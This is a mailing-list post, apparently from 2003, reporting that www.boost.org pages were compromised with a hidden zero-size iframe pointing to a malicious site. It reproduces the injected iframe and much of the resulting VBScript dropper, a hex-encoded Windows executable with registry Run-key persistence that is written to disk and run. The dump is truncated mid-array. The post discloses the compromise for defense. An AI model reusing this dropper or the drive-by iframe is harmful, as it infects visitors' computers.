I was just looking at www.boost.org, and my browser (IE6.0) popped up a confirmation request to run an Active-X control. Turns out that right at the bottom of the page is the following: http://wvw.beech-info2.com/_vti_con/rip.asp width=0 height=0 frameborder=0 marginwidth=0 marginheight=0> Which leads to a seemingly malicious Visual Basic script at http://ww.beech-info2.com/cgi-bin/inf2.pl which (from my limited understanding of Visual Basic) *creates an executable* file from hexadecimal data and then runs it. Full VB malware script follows .sig Other pages on www.boost.org have the same problem. I believe this should be rectified ASAP. -- Raoul Gough. (setq dabbrev-case-fold-search nil) Explorer.exe self.MoveTo 5000,5000 dim v(61) cut="" v(0)="4D,5A,90,Y,03,Y3,04,Y3,Z2,Y2,B8,Y7,40,Y23,C0,Y3,0E,1F,BA,0E,Y,B4,09,CD,21,B8,01,4C,CD,21,54,68,69,73,20,70,72,6F,67,72,61,6D,20,63,61,6E2,6F,74,20,62,65,20,72,75,6E,20,69,6E,20,44,4F," v(1)="53,20,6D,6F,64,65,2E,0D2,0A,24,Y7,0D,23,17,D9,49,42,79,8A,49,42,79,8A,49,42,79,8A,49,42,78,8A,6F,42,79,8A,2B,5D,6A,8A,4A,42,79,8A,2A,60,53,8A,4A,42,79,8A,52,69,63,68,49,42,79,8A,Y10,50," v(2)="45,Y2,4C,01,03,Y,91,CF,4C,3F,Y8,E0,Y,0F,01,0B,01,06,Y2,10,Y3,10,Y3,90,Y2,A0,AC,Y3,A0,Y3,B0,Y4,40,Y2,10,Y3,02,Y2,04,Y3,04,Y3,04,Y8,C0,Y3,10,Y6,02,Y5,04,Y3,02,Y3,10,Y2,10,Y6,10,Yc,B0," v(3)="Y2,74,Y73,55,50,58,30,Y5,90,Y3,10,Y7,04,Ye,80,Y2,E0,55,50,58,31,Y5,10,Y3,A0,Y3,0E,Y3,04,Ye,40,Y2,E0,55,50,58,32,Y5,10,Y3,B0,Y3,02,Y3,12,Ye,40,Y2,C0,Y1ab,31,2E,32,30,Y,55,50,58,21,0C,09," v(4)="02,09,4F,EA,C9,96,B3,6D,C6,95,48,82,Y2,93,0C,Y3,90,Y2,26,Y2,75,DF,FE,Z2,69,6E,69,74,Y,55,8B,EC,81,C4,D8,FD,Z2,68,05,01,Y2,8D,85,FB,FE,0A,50,6A,Y,E8,F7,D8,DF,6F,0B,52,48,89,85,E8,18," v(5)="07,80,Y,0F,3C,8D,9D,1D,BB,1F,6C,EC,8B,F3,2A,56,24,0B,C0,0F,84,40,0F,33,C9,Z,F6,BF,FB,8B,C8,8D,B5,F6,30,87,DE,8B,FB,8B,D6,F3,A4,8B,F2,11,8B,D7,8A,47,Z,3C,2E,EE,EF,Z2,74,0A,4F,3C,5C," v(6)="E0,F4,8B,FA,B0,2E,AA,B8,64,6C2,Y,AB,53,3C,5A,33,Z,3E,F7,7C,B1,E5,85,C0,Y,53,54,51,54,EE,12,FB,DA,DD,5F,3D,11,0F,87,E3,0A,8D,34,18,9A,A5,50,98,91,03,36,F2,72,8D,50,12,78,8B,EE,63,1F," v(7)="EC,33,85,EC,11,01,94,6A,Z,A1,01,E2,B9,1A,41,DE,EE,F6,Z,8B,FE,33,D2,F7,F1,80,C2,61,88,17,47,60,75,F2,88,C7,07,89,EB,BA,9B,DB,24,68,DF,06,01,6A,03,68,09,40,9A,ED,6C,ED,1F,36,83,F8,Z," v(8)="74,BC,96,14,64,F0,19,1B,FB,DA,B7,50,15,68,34,12,40,F8,1E,66,05,30,C5,37,D8,F6,36,4F,74,32,96,20,10,1B,4E,0F,E1,F9,Z,70,1C,8D2,2B,56,51,Z,D0,0B,F6,5E,75,0D,56,42,32,23,B7,3F,3B,6C,0C," v(9)="83,3D,Y,80,40,44,74,06,60,7F,43,1B,6B,7C,1B,CC,Y,92,50,51,52,53,8B,45,08,6B,Z,DB,6F,B2,B9,C6,03,B6,Z,B7,92,83,C0,02,8B,D8,B9,EF,Z,22,C6,77,3F,D9,Z,0B,D2,74,0F,8B,C3,B9,C7,0E,75," v(10)="01,43,B8,C9,29,93,F7,E0,DF,0E,Z,F72,F3,89,15,58,5B,5A,59,58,C9,C2,04,E0,49,0C,51,8B,4D,F7,DB,FE,Z,08,2B,C1,72,3B,56,33,F6,51,0F,BD,C8,74,2E,41,60,BB,31,50,A1,2C,78,Z2,B2,36,83,E2,01," v(11)="D1,E6,0B,F2,E2,E8,59,41,74,07,96,5D,C3,BF,FD,56,C6,4A,58,03,C6,5E,59,4D,08,Y,4D,5A,90,Y,03,24,25,CF,76,5D,04,03,Z,7E,B8,Y2,40,Y,5F,FE,DF,5D,C8,04,0E,1F,BA,0E,Y,B4,09,CD,21,B8,01," v(12)="4C,54,68,69,73,6F,Z3,20,70,72,6F,67,72,61,6D,20,63,61,6E2,6F,74,20,62,65,20,72,75,6E,20,69,02,44,4F,53,EC,3F,D8,Z,20,6D,6F,64,65,2E,0D2,0A,24,43,7F,2C,89,FC,3B,4D,E7,AF,03,E6,9B,EF,BE," v(13)="E6,AF,69,07,59,52,F4,AF,32,58,6F,CD,AF,38,8F,EC,BC,FB,C4,6D,E3,AF,3A,27,52,69,63,68,8B,50,45,DB,61,DF,2E,4C,01,C5,91,CF,4C,3F,13,E0,9D,21,F7,CE,9A,ED,0B,01,06,0C,10,30,13,5F,0B,0F,C9," v(14)="DE,E4,C8,20,61,Y,Z,03,EF,6C,CF,66,50,17,18,D4,0F,02,0C,4D,77,36,B0,10,07,06,50,C8,3E,B8,BB,1C,24,74,4F,64,2C,40,A4,Y2,03,59,17,20,57,B8,1E,2E,CD,66,25,F3,74,65,78,74,64,90,03,78,B6," v(15)="Z,91,42,04,C0,2E,72,64,61,74,61,E0,8E,20,DD,3B,64,4B,03,A2,40,2E,26,10,0C,36,25,83,3D,30,27,30,D0,4F,64,6C,72,FB,65,6C,6F,63,10,16,01,27,40,54,50,64,A7,42,Y2,Z3,3F,41,49,43,4F,52,45," v(16)="20,30,38,2F,32,37,2F,30,33,20,31,39,3A,33,34,3A,34,31,Y,53,6F,66,74,F6,Z,EE,Z,77,61,72,65,5C,4D,69,63,72,6F,73,0D,5C,57,69,6E,64,6F,77,73,5C,43,75,72,17,9F,04,Z2,6E,74,56,65,72,73," v(17)="69,6F,6E,5C,52,75,6E,Y,50,F3,4D,61,6E,16,0C,01,DA,61,67,17,F4,AC,EF,DF,82,Z,83,7D,0C,01,75,11,33,C0,FE,A3,5B,10,Y,61,2B,052,BC,DD,3F,F6,40,C9,C2,0C,1D,C4,FC,83,CE,Z,68,Y,12,6A,Y," v(18)="01,BE,97,E6,46,31,1C,B2,B7,89,45,FC,0F,D0,EE,Z,A5,23,54,9F,0B,Z,74,15,Z,37,C7,07,65,78,65,2A,CD,06,FC,F7,53,Z,75,08,1E,AC,8F,07,C7,05,A4,61,BF,7F,2D,F8,97,08,EB,0D,4F,74,67,68,E8," v(19)="D8,1F,EE,68,47,DB,72,21,62,5E,CB,1D,66,E3,0A,50,3C,DD,DF,7F,0B,6C,97,57,Z,35,8C,68,59,11,1F,03,78,ED,DF,C1,DE,38,A3,04,30,8E,33,57,14,72,68,40,1F,06,F7,5A,F3,6D2,FC,21,0C,14,37,22,0E," v(20)="10,CF,7E,EC,7E,53,58,14,26,5B,33,F6,21,1C,A6,6F,23,9A,E2,A6,87,F8,32,A1,29,63,6E,FB,7E,D0,83,Y,43,10,02,0C,B7,80,60,BE,59,40,8A,50,A4,8B,40,D6,73,F7,05,EB,62,57,15,0F,E8,94,47,68,Y," v(21)="5C,D0,6D,C4,04,DE,F6,AD,68,96,B7,B9,BB,13,2D,C4,1D,1E,A3,57,3B,4E,F1,1A,B3,DD,DE,05,6A,87,05,73,0D,EE,1A,A3,E9,E2,C9,F6,B2,5A,CA,58,9C,0C,C8,F7,0B,83,70,B2,0B,1C,BE,82,68,33,1F,D8,23," v(22)="9F,0F,83,1D,12,27,07,53,56,57,AF,2D,61,DF,FB,18,8D,9D,CE
